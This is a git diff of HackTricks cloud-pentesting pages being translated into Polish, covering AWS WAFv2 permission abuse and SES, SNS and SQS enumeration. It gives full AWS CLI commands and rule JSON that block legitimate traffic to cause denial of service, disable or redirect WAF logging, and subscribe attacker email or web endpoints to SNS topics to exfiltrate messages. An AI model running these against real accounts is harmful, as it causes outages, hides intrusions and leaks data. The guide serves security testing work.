traffic from specific IP addresses: - +Poniższe przykłady pokazują grupę reguł, która zablokowałaby legalny ruch z określonych adresów IP: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` - -The **rule.json** file would look like: - +Plik **rule.json** wyglądałby następująco: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPsRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPsRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Potencjalny wpływ**: Nieautoryzowany dostęp, naruszenia danych i potencjalne ataki DoS. #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -With these permissions, an attacker would be able to: +Dzięki tym uprawnieniom, atakujący mógłby: -- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service. -- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests. -- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks. +- Utworzyć nowy Web ACL, wprowadzając zasady, które albo pozwalają na złośliwy ruch, albo blokują legalny ruch, skutecznie czyniąc WAF bezużytecznym lub powodując odmowę usługi. +- Zaktualizować istniejące Web ACL, mając możliwość modyfikacji zasad, aby zezwolić na ataki takie jak SQL injection lub cross-site scripting, które wcześniej były blokowane, lub zakłócić normalny przepływ ruchu, blokując ważne żądania. +- Usunąć Web ACL, pozostawiając dotknięte zasoby całkowicie niechronione, narażając je na szeroki zakres ataków internetowych. > [!NOTE] -> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false. - +> Możesz usunąć określony **WebACL** tylko wtedy, gdy **ManagedByFirewallManager** jest fałszywe. ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` +Przykłady poniżej pokazują, jak zaktualizować Web ACL, aby zablokować legalny ruch z określonego zestawu IP. Jeśli adres IP źródłowy nie pasuje do żadnego z tych adresów IP, domyślna akcja również będzie polegać na zablokowaniu go, co spowoduje DoS. -The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS. - -**Original Web ACL**: - +**Oryginalny Web ACL**: ```json { - "WebACL": { - "Name": "AllowLegitimateIPsWebACL", - "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "DefaultAction": { - "Allow": {} - }, - "Description": "", - "Rules": [ - { - "Name": "AllowLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Allow": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsRule" - } - } - ], - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsWebACL" - }, - "Capacity": 1, - "ManagedByFirewallManager": false, - "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" - }, - "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"WebACL": { +"Name": "AllowLegitimateIPsWebACL", +"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"DefaultAction": { +"Allow": {} +}, +"Description": "", +"Rules": [ +{ +"Name": "AllowLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Allow": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsRule" +} +} +], +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsWebACL" +}, +"Capacity": 1, +"ManagedByFirewallManager": false, +"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" +}, +"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -Command to update the Web ACL: - +Polecenie do zaktualizowania Web ACL: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` - -The **rule.json** file would look like: - +Plik **rule.json** wyglądałby następująco: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Potencjalny wpływ**: Nieautoryzowany dostęp, naruszenia danych i potencjalne ataki DoS. #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection. +Uprawnienie **`wafv2:AssociateWebACL`** pozwoliłoby atakującemu na powiązanie web ACL (List Kontroli Dostępu) z zasobami, co umożliwiłoby obejście zabezpieczeń, pozwalając na nieautoryzowany ruch do aplikacji, co potencjalnie prowadziłoby do wykorzystania luk, takich jak SQL injection lub cross-site scripting (XSS). Z drugiej strony, z uprawnieniem **`wafv2:DisassociateWebACL`**, atakujący mógłby tymczasowo wyłączyć zabezpieczenia, narażając zasoby na luki bez wykrycia. -The additional permissions would be needed depending on the protected resource type: - -- **Associate** - - apigateway:SetWebACL - - apprunner:AssociateWebAcl - - appsync:SetWebACL - - cognito-idp:AssociateWebACL - - ec2:AssociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl -- **Disassociate** - - apigateway:SetWebACL - - apprunner:DisassociateWebAcl - - appsync:SetWebACL - - cognito-idp:DisassociateWebACL - - ec2:DisassociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl +Dodatkowe uprawnienia byłyby potrzebne w zależności od typu chronionego zasobu: +- **Powiąż** +- apigateway:SetWebACL +- apprunner:AssociateWebAcl +- appsync:SetWebACL +- cognito-idp:AssociateWebACL +- ec2:AssociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl +- **Rozłącz** +- apigateway:SetWebACL +- apprunner:DisassociateWebAcl +- appsync:SetWebACL +- cognito-idp:DisassociateWebACL +- ec2:DisassociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl ```bash # Associate aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` - -**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF. +**Potencjalny wpływ**: Kompromitacja bezpieczeństwa zasobów, zwiększone ryzyko wykorzystania oraz potencjalne zakłócenia usług w środowiskach AWS chronionych przez AWS WAF. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources. - +Napastnik mógłby tworzyć, aktualizować i usuwać zestawy IP zarządzane przez AWS WAF. Może to być niebezpieczne, ponieważ mógłby tworzyć nowe zestawy IP, aby zezwolić na złośliwy ruch, modyfikować zestawy IP w celu zablokowania legalnego ruchu, aktualizować istniejące zestawy IP, aby uwzględnić złośliwe adresy IP, usuwać zaufane adresy IP lub usuwać krytyczne zestawy IP, które mają na celu ochronę krytycznych zasobów. ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following example shows how to **overwrite the existing IP set by the desired IP set**: - +Poniższy przykład pokazuje, jak **nadpisać istniejący zestaw IP pożądanym zestawem IP**: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` - -**Potential Impact**: Unauthorized access and block of legitimate traffic. +**Potencjalny wpływ**: Nieautoryzowany dostęp i blokowanie legalnego ruchu. #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns. - -- Creating new regex patterns would help an attacker to allow harmful content -- Updating the existing patterns, an attacker would to bypass security rules -- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures. +Napastnik z tymi uprawnieniami mógłby manipulować zestawami wzorców wyrażeń regularnych używanymi przez AWS WAF do kontrolowania i filtrowania przychodzącego ruchu na podstawie określonych wzorców. +- Tworzenie nowych wzorców regex pomogłoby napastnikowi w zezwoleniu na szkodliwą treść +- Aktualizując istniejące wzorce, napastnik mógłby obejść zasady bezpieczeństwa +- Usuwanie wzorców zaprojektowanych w celu blokowania złośliwych działań mogłoby umożliwić napastnikowi wysyłanie złośliwych ładunków i obejście środków bezpieczeństwa. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` - -**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF. +**Potencjalny wpływ**: Ominięcie zabezpieczeń, umożliwiające wprowadzenie złośliwej treści i potencjalne ujawnienie danych wrażliwych lub zakłócenie usług i zasobów chronionych przez AWS WAF. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control. +Atakujący z uprawnieniami **`wafv2:DeleteLoggingConfiguration`** mógłby usunąć konfigurację logowania z określonego Web ACL. Następnie, z uprawnieniami **`wavf2:PutLoggingConfiguration`** i **`iam:CreateServiceLinkedRole`**, atakujący mógłby utworzyć lub zastąpić konfiguracje logowania (po ich usunięciu), aby całkowicie uniemożliwić logowanie lub przekierować logi do nieautoryzowanych miejsc, takich jak kosze Amazon S3, grupy logów Amazon CloudWatch Logs lub Amazon Kinesis Data Firehose pod kontrolą. -During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination: +Podczas procesu tworzenia, usługa automatycznie ustawia niezbędne uprawnienia, aby umożliwić zapis logów do określonego miejsca logowania: -- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group. -- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream. +- **Amazon CloudWatch Logs:** AWS WAF tworzy politykę zasobów w wyznaczonej grupie logów CloudWatch. Polityka ta zapewnia, że AWS WAF ma wymagane uprawnienia do zapisywania logów w grupie logów. +- **Amazon S3 Bucket:** AWS WAF tworzy politykę kosza w wyznaczonym koszu S3. Polityka ta przyznaje AWS WAF niezbędne uprawnienia do przesyłania logów do określonego kosza. +- **Amazon Kinesis Data Firehose:** AWS WAF tworzy rolę powiązaną z usługą, specjalnie do interakcji z Kinesis Data Firehose. Rola ta pozwala AWS WAF na dostarczanie logów do skonfigurowanego strumienia Firehose. > [!NOTE] -> It is possible to define only one logging destination per web ACL. - +> Możliwe jest zdefiniowanie tylko jednego miejsca logowania na web ACL. ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` - -**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments. +**Potencjalny wpływ:** Ukryta widoczność zdarzeń bezpieczeństwa, utrudniony proces reagowania na incydenty oraz ułatwienie ukrytych złośliwych działań w środowiskach chronionych przez AWS WAF. #### **`wafv2:DeleteAPIKey`** -An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource. - +Atakujący z tymi uprawnieniami mógłby usunąć istniejące klucze API, co uczyniłoby CAPTCHA nieskuteczną i zakłóciłoby funkcjonalność, która na niej polega, taką jak przesyłanie formularzy i kontrole dostępu. W zależności od implementacji tego CAPTCHA, mogłoby to prowadzić do obejścia CAPTCHA lub do DoS, jeśli zarządzanie błędami nie jest odpowiednio ustawione w zasobie. ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` - -**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft. +**Potencjalny wpływ**: Wyłączenie ochrony CAPTCHA lub zakłócenie funkcjonalności aplikacji, co prowadzi do naruszeń bezpieczeństwa i potencjalnej kradzieży danych. #### **`wafv2:TagResource`, `wafv2:UntagResource`** -An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations. - +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów AWS WAFv2, takich jak Web ACL, grupy reguł, zestawy IP, zestawy wzorców regex i konfiguracje logowania. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` +**Potencjalny wpływ**: Manipulacja zasobami, wyciek informacji, manipulacja kosztami i zakłócenia operacyjne. -**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption. - -## References +## Odniesienia - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index bc6af90f1..65f5d8f82 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -2,45 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes. +Amazon Simple Email Service (Amazon SES) jest zaprojektowany do **wysyłania i odbierania e-maili**. Umożliwia użytkownikom efektywne i bezpieczne wysyłanie e-maili transakcyjnych, marketingowych lub powiadomień na dużą skalę. **Dobrze integruje się z innymi usługami AWS**, oferując solidne rozwiązanie do zarządzania komunikacją e-mailową dla firm każdej wielkości. -You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails). +Musisz zarejestrować **tożsamości**, którymi mogą być domeny lub adresy e-mail, które będą mogły współpracować z SES (np. wysyłać i odbierać e-maile). -### SMTP User - -It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as: +### Użytkownik SMTP +Możliwe jest połączenie z **serwerem SMTP AWS, aby wykonać akcje** zamiast korzystać z API AWS (lub dodatkowo). W tym celu musisz utworzyć użytkownika z polityką taką jak: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "ses:SendRawEmail", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "ses:SendRawEmail", +"Resource": "*" +} +] } ``` - -Then, gather the **API key and secret** of the user and run: - +Następnie zbierz **klucz API i sekret** użytkownika i uruchom: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` +Możliwe jest również wykonanie tego z konsoli internetowej AWS. -It's also possible to do this from the AWS console web. - -### Enumeration +### Enumeracja > [!WARNING] -> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two. - +> Zauważ, że SES ma 2 API: **`ses`** i **`sesv2`**. Niektóre akcje znajdują się w obu API, a inne tylko w jednym z nich. ```bash # Get info about the SES account aws sesv2 get-account @@ -117,7 +112,6 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` - ### Post Exploitation {{#ref}} @@ -125,7 +119,3 @@ aws ses get-send-statistics {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index cca4353cb..cfb9c8e2d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,18 +4,17 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types. +Amazon Simple Notification Service (Amazon SNS) jest opisany jako **w pełni zarządzana usługa komunikacyjna**. Obsługuje zarówno **komunikację aplikacja-do-aplikacji** (A2A), jak i **komunikację aplikacja-do-osoby** (A2P). -Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern. +Kluczowe cechy komunikacji A2A obejmują **mechanizmy publikacji/subskrypcji (pub/sub)**. Te mechanizmy wprowadzają **tematy**, które są kluczowe dla umożliwienia wysokowydajnej, **opartej na push, komunikacji wiele-do-wielu**. Ta funkcja jest bardzo korzystna w scenariuszach, które obejmują systemy rozproszone, mikroserwisy i architektury bezserwerowe oparte na zdarzeniach. Wykorzystując te tematy, systemy publikujące mogą efektywnie dystrybuować wiadomości do **szerokiego zakresu systemów subskrybujących**, ułatwiając wzorzec komunikacji fanout. -### **Difference with SQS** +### **Różnica z SQS** -**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\ -On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\ -While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns. - -### **Enumeration** +**SQS** to **usługa oparta na kolejkach**, która umożliwia komunikację punkt-do-punktu, zapewniając, że wiadomości są przetwarzane przez **jednego konsumenta**. Oferuje **dostawę przynajmniej raz**, obsługuje standardowe i FIFO kolejki oraz pozwala na przechowywanie wiadomości w celu ponownych prób i opóźnionego przetwarzania.\ +Z drugiej strony, **SNS** to **usługa oparta na publikacji/subskrypcji**, umożliwiająca **komunikację jeden-do-wielu** poprzez jednoczesne nadawanie wiadomości do **wielu subskrybentów**. Obsługuje **różne punkty subskrypcyjne, takie jak e-mail, SMS, funkcje Lambda i HTTP/HTTPS**, oraz zapewnia mechanizmy filtrowania dla ukierunkowanej dostawy wiadomości.\ +Chociaż obie usługi umożliwiają odseparowanie komponentów w systemach rozproszonych, SQS koncentruje się na komunikacji w kolejkach, a SNS podkreśla wzorce komunikacji oparte na zdarzeniach i fan-out. +### **Enumeracja** ```bash # Get topics & subscriptions aws sns list-topics @@ -24,29 +23,28 @@ aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ - --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ - --message file://message.txt +--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ +--message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ - --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ - --protocol email \ - --notification-endpoint my-email@example.com +--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ +--protocol email \ +--notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - > [!CAUTION] -> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used). +> Zauważ, że jeśli **temat jest typu FIFO**, tylko subskrybenci używający protokołu **SQS** mogą być używani (HTTP lub HTTPS nie mogą być używane). > -> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Ponadto, nawet jeśli `--topic-arn` zawiera region, upewnij się, że określasz poprawny region w **`--region`**, w przeciwnym razie otrzymasz błąd, który wygląda, jakby wskazywał, że nie masz dostępu, ale problemem jest region. #### Unauthenticated Access @@ -77,7 +75,3 @@ aws sns subscribe --region \ - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 1da888587..41da9539a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,10 +4,9 @@ ## SQS -Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work. +Amazon Simple Queue Service (SQS) jest przedstawiany jako **w pełni zarządzana usługa kolejkowania wiadomości**. Jego główną funkcją jest pomoc w skalowaniu i odseparowywaniu mikroserwisów, systemów rozproszonych i aplikacji bezserwerowych. Usługa została zaprojektowana w celu usunięcia potrzeby zarządzania i obsługi middleware opartego na wiadomościach, co często może być skomplikowane i zasobożerne. To wyeliminowanie złożoności pozwala programistom skierować swoje wysiłki na bardziej innowacyjne i wyróżniające aspekty ich pracy. ### Enumeration - ```bash # Get queues info aws sqs list-queues @@ -18,9 +17,8 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` - > [!CAUTION] -> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Również, nawet jeśli `--queue-url` zawiera region, upewnij się, że określasz poprawny region w **`--region`**, w przeciwnym razie otrzymasz błąd, który wygląda, jakby wskazywał, że nie masz dostępu, ale problemem jest region. #### Unauthenticated Access @@ -51,7 +49,3 @@ aws sqs send-message --queue-url --message-body - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 873629bba..ed2b290b4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,266 +4,253 @@ ## Step Functions -AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL). +AWS Step Functions to usługa przepływu pracy, która umożliwia koordynację i orkiestrację wielu usług AWS w bezserwerowych przepływach pracy. Korzystając z AWS Step Functions, możesz projektować i uruchamiać przepływy pracy, które łączą różne usługi AWS, takie jak AWS Lambda, Amazon S3, Amazon DynamoDB i wiele innych, w sekwencji kroków. Ta usługa orkiestracji zapewnia wizualny interfejs przepływu pracy i oferuje możliwości **maszyny stanów**, pozwalając na definiowanie każdego kroku przepływu pracy w sposób deklaratywny przy użyciu opartego na JSON **Amazon States Language** (ASL). -## Key concepts +## Kluczowe pojęcia -### Standard vs. Express Workflows +### Standardowe vs. Ekspresowe przepływy pracy -AWS Step Functions offers two types of **state machine workflows**: Standard and Express. +AWS Step Functions oferuje dwa typy **przepływów pracy maszyny stanów**: Standardowy i Ekspresowy. -- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year. -- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage. +- **Standardowy przepływ pracy**: Ten domyślny typ przepływu pracy jest zaprojektowany dla długoterminowych, trwałych i audytowalnych procesów. Obsługuje **wykonanie dokładnie raz**, zapewniając, że zadania są uruchamiane tylko raz, chyba że 